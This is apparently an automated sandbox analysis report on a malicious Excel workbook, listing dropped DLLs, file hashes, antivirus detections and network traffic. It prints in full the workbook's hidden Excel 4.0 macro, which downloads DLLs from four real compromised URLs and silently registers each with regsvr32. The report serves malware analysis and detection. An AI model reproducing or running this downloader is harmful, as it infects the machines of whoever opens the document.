Preview:	MSCF....(.......,...................I........y.........Tbr .authroot.stl..$..4..CK..<Tk...c_.d....A.K.....Y.f....!.))$7I.....e..eKT..k....n.3.......S..9.s.....3H.Mh......qV.=M6.=.4.F.....V:F..]......B`....Q...c"U.0.n....J.....4.....i7s..:.27....._...+).lE..he.4\|.?,...h....7..PA..b.,. .....#1+..o...g.....2n1m...=.......Dp.;..f..ljX.Dx..r<'.1RI3B0<w.D.z..)D\|..8<..c+..'XH..K,.Y..d.j.<.A.......l_lVb[w..rDp...'.....nL....!G.F....f.fX..r.. ?.....v(...L..<.\.Z..g;.>.0v...P ......\|...A..(..x...T0.`g...c..7.U?...9.p..a..&..9......sV..l0..D..fhi..h.F....q...y.....Mq].4..Z.....={L....AS..9.....:.:.........+..P.N....EAQ.V. sr.....y.B.`.Efe..8../....$...y-.q.J.......nP...2.Q8...O........M.@\.>=X....V..z.4.=.@...ws.N.M3.S.c?.....C4]?..\.K.9......^...CU......O....X.`........._.gU.....V.{V6..m..D.-\|.Q.t.7.....9.~....[...I.<e...~$..>......s.I.S....~1..IV.2Ri:..]R!8...q...l.X.%.)@......2.gb,t...}..;...@.Z..<q..y..:...e3..cY.we.$....z..\| .#.......I...

C:\Users\user\AppData\Local\Temp\TarF05.tmp

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	data
Category:	modified
Size (bytes):	162196
Entropy (8bit):	6.301436092020807
Encrypted:	false
SSDEEP:	1536:Nga6crtilgCyNY2Ip/5ib6NWdm1wpzru2RPZz04D8rlCMiB3XlMc:Na0imCy/dm0zru2RN97MiVGc
MD5:	E721613517543768F0DE47A6EEEE3475
SHA1:	3FFC13E3157CF6EB9E9CCAB57B9058209AF41D69
SHA-256:	3163B82D1289693122EF99ED6C3C1911F68AA2A7296907CEBF84C897141CED4E
SHA-512:	E097CAB58C5E390FDC2DB03A59329A548A60069804487828B70519A403622260E57F10B09D9DDAEEB3C31491FE32221FB67965C490771A3D42E45EBB8BE26587
Malicious:	false
Preview:	0..y....H.........y.0..yz...1.0...`.H.e......0..i...+.....7.....i.0..i.0...+.....7........SiU[v...220418211447Z0...+......0..i.0..D.....`...@.,..0..0.r1..0...+.....7..h1......+h...0...+.....7..~1......D...0...+.....7..i1...0...+.....7<..0 ..+.....7...1.......@N...%.=.,..0$..+.....7...1......`@V'..%..*..S.Y.00..+.....7..b1". .].L4.>..X...E.W..'..........-@w0Z..+.....7...1L.JM.i.c.r.o.s.o.f.t. .R.o.o.t. .C.e.r.t.i.f.i.c.a.t.e. .A.u.t.h.o.r.i.t.y...0..,...........[./..uIv..%1...0...+.....7..h1.....6.M...0...+.....7..~1...........0...+.....7...1...0...+.......0 ..+.....7...1...O..V.........b0$..+.....7...1...>.)....s,.=$.~R.'..00..+.....7..b1". [x.....[....3x:_....7.2...Gy.cS.0D..+.....7...16.4V.e.r.i.S.i.g.n. .T.i.m.e. .S.t.a.m.p.i.n.g. .C.A...0......4...R....2.7.. ...1..0...+.....7..h1......o&...0...+.....7..i1...0...+.....7<..0 ..+.....7...1...lo...^....[...J@0$..+.....7...1...J\u".F....9.N...`...00..+.....7..b1". ...@.....G..d..m..$.....X...}0B..+.....7...14.2M.i.c.r.o.s.o

C:\Users\user\AppData\Local\Temp\~DF4A00E8F1D401126E.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	3.430046337073317
Encrypted:	false
SSDEEP:	768:ODRKpb8rGYrMPe3q7Q0XV5xtezE8vpI8UM+VB9s1X0:OVKpb8rGYrMPe3q7Q0XV5xtezE8vG8Uv
MD5:	268EE6A4D8E511858C19684926C5CBC5
SHA1:	4406095C22A6FA760F49845B116610756D3FFC01
SHA-256:	C3C0646B3FDD86756340917F30A5B4F289095960870A82FBAD8D0033E5056C5E
SHA-512:	526EDE142F8B98D56B21E4010018A83657232FA14EA69B53D5073D09E473FFD5E61639F6F53F42D2B4277CF35B9D806EEAFED619C725F2529516D012BFA778F2
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\melimar.com.xls

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: Dream, Last Saved By: TYHRETH, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 19:19:34 2015, Last Saved Time/Date: Fri May 20 16:15:56 2022, Security: 0
Category:	dropped
Size (bytes):	69120
Entropy (8bit):	6.450361349538424
Encrypted:	false
SSDEEP:	1536:gVKpb8rGYrMPe3q7Q0XV5xtezE8vG8UM+79s1a6YG2jzQ0viPvDNHhA6P:+Kpb8rGYrMPe3q7Q0XV5xtezE8vG8UMT
MD5:	A41AF1F71D9637C6F8577DAF09A07E0D
SHA1:	1589AFA26A47CE40F5B732BE9E8CE88B1AFCE19D
SHA-256:	6FCD01276493FC03886C6741782100B1AED4B8606EC8EF50136EC86E294BA328
SHA-512:	7B19146C12F17E992CA638BD35C490D4C56CE3F9F9BE2CD00E6CC3B3220A71E11BFD3DFD9D338C9A7C0620B4CA1F3F36319BABCF57EFFAF1A003309C9DC1649A
Malicious:	true
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................ZO..........................\.p....userTH B.....a.........=.................................................=........Ve18.......X.@...........".......................1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.......

C:\Users\user\uxevr1.ocx

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	365056
Entropy (8bit):	7.158099808823071
Encrypted:	false
SSDEEP:	3072:JI0AM0yQkR9M6lglELtJUNjiWGyWcT+0JUiA2tqZ4IvUlDAj7UOjVifSwHEDQVLK:i5MR9M6y3TrRIvgMSS3AyUrhYu3j
MD5:	F11EBAFE4C3C0069090023A6B4CAEC35
SHA1:	3FECC4BC39FA6F17F062473D80F51AAEF8B442DB
SHA-256:	CAE8D1C14C85D10D7413AF876E6748813AD6930CF4D856E120857C4489A690DA
SHA-512:	425ED0A65526F11EADC37C8158C2D53C6A07C234DA59594DEEC8C8B132B6673534371A149CD5EA586ED07B0A517011E6143CE41E5D4D93608208C1DC73880F18
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 41%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d...v{.b.........." .................5...............................................T....@....................................................P.................................................................................... ...............................text............................... ..`.rdata..T.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\uxevr2.ocx

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	365056
Entropy (8bit):	7.158106332990621
Encrypted:	false
SSDEEP:	3072:JI0AM0yQkR9M6lglELtJUNjiWGyWcTb0JUiA2tqZ4IvUlDAj7UOjVifSwHEDQVLK:i5MR9M6y3TWRIvgMSS3AyUrhYu3j
MD5:	8516983EEDC8690C1495B828B4262A63
SHA1:	BDD250044234E53E9F08DB444A1DE00987735930
SHA-256:	90498F1EE590DA28566434C15EFCFD98E829846F233387553EA655FC7559168D
SHA-512:	C5B6A37A787A70E70BE8614F957C183547B85DFA0913B746F6BC701CEC09BD54E04FB53443DFEFFEDCF83176F581E6A5F4DE06219A1FA6D9D015691E9432CD93
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 29%, Browse Antivirus: ReversingLabs, Detection: 59%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d...v{.b.........." .................5...............................................T....@....................................................P.................................................................................... ...............................text............................... ..`.rdata..T.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\uxevr3.ocx

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	365056
Entropy (8bit):	7.158106334231925
Encrypted:	false
SSDEEP:	3072:JI0AM0yQkR9M6lglELtJUNjiWGyWcTZA0JUiA2tqZ4IvUlDAj7UOjVifSwHEDQVO:i5MR9M6y3TjRIvgMSS3AyUrhYu3j
MD5:	BE9AB3CBCD3C659212F266325283997D
SHA1:	8AE66E545E3F39473BE65759BE466D48448F385C
SHA-256:	278D0C0BAF0203C13A5E72F31027F4FD0921F6FA2A84656485D86F8D09D562C0
SHA-512:	48058CE87D6A2813C60852B435BC43D7F64D0180A63F9F5964123C0009FC4060216749FBE32DF6FC60BC35E139E4B2D24320AEF526BF12A8A57473203B4F942D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 56%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d...v{.b.........." .................5...............................................T....@....................................................P.................................................................................... ...............................text............................... ..`.rdata..T.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Windows\System32\HtkzwckLMRsIno\zbbayGuUXRtRt.dll (copy)

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	365056
Entropy (8bit):	7.158099808823071
Encrypted:	false
SSDEEP:	3072:JI0AM0yQkR9M6lglELtJUNjiWGyWcT+0JUiA2tqZ4IvUlDAj7UOjVifSwHEDQVLK:i5MR9M6y3TrRIvgMSS3AyUrhYu3j
MD5:	F11EBAFE4C3C0069090023A6B4CAEC35
SHA1:	3FECC4BC39FA6F17F062473D80F51AAEF8B442DB
SHA-256:	CAE8D1C14C85D10D7413AF876E6748813AD6930CF4D856E120857C4489A690DA
SHA-512:	425ED0A65526F11EADC37C8158C2D53C6A07C234DA59594DEEC8C8B132B6673534371A149CD5EA586ED07B0A517011E6143CE41E5D4D93608208C1DC73880F18
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 41%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d...v{.b.........." .................5...............................................T....@....................................................P.................................................................................... ...............................text............................... ..`.rdata..T.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Windows\System32\WFwVcxpK\qMgBgEIcUslg.dll (copy)

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	365056
Entropy (8bit):	7.158106334231925
Encrypted:	false
SSDEEP:	3072:JI0AM0yQkR9M6lglELtJUNjiWGyWcTZA0JUiA2tqZ4IvUlDAj7UOjVifSwHEDQVO:i5MR9M6y3TjRIvgMSS3AyUrhYu3j
MD5:	BE9AB3CBCD3C659212F266325283997D
SHA1:	8AE66E545E3F39473BE65759BE466D48448F385C
SHA-256:	278D0C0BAF0203C13A5E72F31027F4FD0921F6FA2A84656485D86F8D09D562C0
SHA-512:	48058CE87D6A2813C60852B435BC43D7F64D0180A63F9F5964123C0009FC4060216749FBE32DF6FC60BC35E139E4B2D24320AEF526BF12A8A57473203B4F942D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 56%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d...v{.b.........." .................5...............................................T....@....................................................P.................................................................................... ...............................text............................... ..`.rdata..T.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Windows\System32\XcSShRaCEZoMkA\LaeOniCeFWEmCa.dll (copy)

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	365056
Entropy (8bit):	7.158106332990621
Encrypted:	false
SSDEEP:	3072:JI0AM0yQkR9M6lglELtJUNjiWGyWcTb0JUiA2tqZ4IvUlDAj7UOjVifSwHEDQVLK:i5MR9M6y3TWRIvgMSS3AyUrhYu3j
MD5:	8516983EEDC8690C1495B828B4262A63
SHA1:	BDD250044234E53E9F08DB444A1DE00987735930
SHA-256:	90498F1EE590DA28566434C15EFCFD98E829846F233387553EA655FC7559168D
SHA-512:	C5B6A37A787A70E70BE8614F957C183547B85DFA0913B746F6BC701CEC09BD54E04FB53443DFEFFEDCF83176F581E6A5F4DE06219A1FA6D9D015691E9432CD93
Malicious:	true
Antivirus:	Antivirus: Metadefender, Detection: 29%, Browse Antivirus: ReversingLabs, Detection: 59%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d...v{.b.........." .................5...............................................T....@....................................................P.................................................................................... ...............................text............................... ..`.rdata..T.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: Dream, Last Saved By: TYHRETH, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 19:19:34 2015, Last Saved Time/Date: Fri May 20 16:15:56 2022, Security: 0
Entropy (8bit):	6.449650247078011
TrID:	Microsoft Excel sheet (30009/1) 78.94% Generic OLE2 / Multistream Compound File (8008/1) 21.06%
File name:	melimar.com.xls
File size:	69120
MD5:	26fe1a6dbcaedcd92be80daa3f91a595
SHA1:	f894d4913c99feb984e4885d46ef3935467b07b0
SHA256:	10d164258a05b43017ea2344e234477490adaef157633778e0a2f2f558ef9385
SHA512:	27fc4993a4f0e8ff9ad667e107a846e94d97d13de9dd2af1da0cb7377df08d3e9001dee888d0909802dff8ae7450006071378df9e8b1842a7831804af098c826
SSDEEP:	1536:nVKpb8rGYrMPe3q7Q0XV5xtezE8vG8UM+79s1a6YG2jzQ0viPvDNHhA6W:VKpb8rGYrMPe3q7Q0XV5xtezE8vG8UMa
TLSH:	28635A467A59C82DF914D33549D74BA97316FC318FAB0A833225F324AFFD8A05A0761B
File Content Preview:	........................>......................................................................................................................................................................................................................................

File Icon


Icon Hash:	e4eea286a4b4bcb4

Static OLE Info

General

Document Type:	OLE
Number of OLE Files:	1

OLE File "melimar.com.xls"

Indicators

Has Summary Info:
Application Name:	Microsoft Excel
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	False

Summary

Code Page:	1251
Author:	Dream
Last Saved By:	TYHRETH
Create Time:	2015-06-05 18:19:34
Last Saved Time:	2022-05-20 15:15:56
Creating Application:	Microsoft Excel
Security:	0

Document Summary

Document Code Page:	1251
Thumbnail Scaling Desired:	False
Company:
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	1048576

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5DocumentSummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.404258978601
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . . . . . . . . . . . . . P . . . . . . . X . . . . . . . d . . . . . . . l . . . . . . . t . . . . . . . \| . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e e t . . . . . E S R S G B 1 . . . . . E G S H R H V 2 . . . . . E S H V G R E R 3 . . . . . P K E K P P G
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 18 01 00 00 09 00 00 00 01 00 00 00 50 00 00 00 0f 00 00 00 58 00 00 00 17 00 00 00 64 00 00 00 0b 00 00 00 6c 00 00 00 10 00 00 00 74 00 00 00 13 00 00 00 7c 00 00 00 16 00 00 00 84 00 00 00 0d 00 00 00 8c 00 00 00 0c 00 00 00 d7 00 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5SummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.280796102053
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . . . + ' . . 0 . . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . X . . . . . . . h . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . D r e a m . . . . . . . . . . . T Y H R E T H . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . ? R , . . . . @ . . . . . . . \\ l . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 a0 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 58 00 00 00 12 00 00 00 68 00 00 00 0c 00 00 00 80 00 00 00 0d 00 00 00 8c 00 00 00 13 00 00 00 98 00 00 00 02 00 00 00 e3 04 00 00 1e 00 00 00 08 00 00 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 58850

General
Stream Path:	Workbook
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	58850
Entropy:	7.09451088117
Base64 Encoded:	True
Data ASCII:	. . . . . . . . Z O . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . . . T Y H R E T H B . . . . . a . . . . . . . . . = . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . . . . V e 1 8 . . . . . . . X . @ . . . . . . . . . . . " . . .
Data Raw:	09 08 10 00 00 06 05 00 5a 4f cd 07 c9 00 02 00 06 08 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 07 00 00 54 59 48 52 45 54 48 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

Macro 4.0 Code

Name:	PKEKPPGEKKPGE
Type:	4
Final:	False
Visible:	False
Protected:	False
PKEKPPGEKKPGE4False0Falsepre7,5,=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://vipteck.com/wp-admin/user/B8d6jr4pBND2HExAmI/lJWa95VlQ/","..\uxevr1.ocx",0,0)",F11)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx")",F13)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://salledemode.com/tgroup.ge/x4bc2kL4BzGAeUsVi/","..\uxevr2.ocx",0,0)",F15)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx")",F17)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://airliftlimo.com/wp-admin/iMc/","..\uxevr3.ocx",0,0)",F19)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx")",F21)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://kabeonet.pl/wp-admin/VWlAz5vWJNHDb/","..\uxevr4.ocx",0,0)",F23)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx")",F25)=FORMULA("=RETURN()",F29)

Name:	PKEKPPGEKKPGE
Type:	4
Final:	False
Visible:	False
Protected:	False
PKEKPPGEKKPGE4False0Falsepost7,5,=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://vipteck.com/wp-admin/user/B8d6jr4pBND2HExAmI/lJWa95VlQ/","..\uxevr1.ocx",0,0)",F11)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx")",F13)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://salledemode.com/tgroup.ge/x4bc2kL4BzGAeUsVi/","..\uxevr2.ocx",0,0)",F15)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx")",F17)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://airliftlimo.com/wp-admin/iMc/","..\uxevr3.ocx",0,0)",F19)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx")",F21)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://kabeonet.pl/wp-admin/VWlAz5vWJNHDb/","..\uxevr4.ocx",0,0)",F23)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx")",F25)=FORMULA("=RETURN()",F29)10,5,=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://vipteck.com/wp-admin/user/B8d6jr4pBND2HExAmI/lJWa95VlQ/","..\uxevr1.ocx",0,0)12,5,=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx")14,5,=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://salledemode.com/tgroup.ge/x4bc2kL4BzGAeUsVi/","..\uxevr2.ocx",0,0)16,5,=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx")18,5,=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://airliftlimo.com/wp-admin/iMc/","..\uxevr3.ocx",0,0)20,5,=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx")22,5,=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://kabeonet.pl/wp-admin/VWlAz5vWJNHDb/","..\uxevr4.ocx",0,0)24,5,=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx")28,5,=RETURN()

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 23, 2022 08:34:51.824243069 CEST	49173	80	192.168.2.22	188.114.97.10
May 23, 2022 08:34:51.841941118 CEST	80	49173	188.114.97.10	192.168.2.22
May 23, 2022 08:34:51.844598055 CEST	49173	80	192.168.2.22	188.114.97.10
May 23, 2022 08:34:51.849772930 CEST	49173	80	192.168.2.22	188.114.97.10
May 23, 2022 08:34:51.866624117 CEST	80	49173	188.114.97.10	192.168.2.22
May 23, 2022 08:34:51.880934954 CEST	80	49173	188.114.97.10	192.168.2.22
May 23, 2022 08:34:51.881052017 CEST	49173	80	192.168.2.22	188.114.97.10
May 23, 2022 08:34:52.078593969 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:52.078629017 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:52.082253933 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:52.091794968 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:52.091813087 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:52.140103102 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:52.140187025 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:52.160233974 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:52.160257101 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:52.160654068 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:52.162251949 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:52.412427902 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:52.452492952 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:52.902362108 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:52.902451992 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:52.902524948 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:52.902548075 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:52.902575970 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:52.902590036 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:52.902623892 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:52.902673960 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:52.902729034 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:52.902760983 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:52.902818918 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:52.902839899 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:52.902848005 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:52.902909040 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.015104055 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.015279055 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.015306950 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.015377045 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.015404940 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.015502930 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.015521049 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.015589952 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.015609026 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.015671968 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.015829086 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.015913010 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.015944004 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.015997887 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.118119955 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.118344069 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.118381977 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.118602037 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.118650913 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.118696928 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.118717909 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.118786097 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.118809938 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.118906975 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.118922949 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.119003057 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.119057894 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.119141102 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.119153976 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.119251966 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.119267941 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.119343996 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.119359016 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.119436026 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.119452000 CEST	443	49174	188.114.97.10	192.168.2.22
May 23, 2022 08:34:53.119533062 CEST	49174	443	192.168.2.22	188.114.97.10
May 23, 2022 08:34:53.119546890 CEST	443	49174	188.114.97.10	192.168.2.22
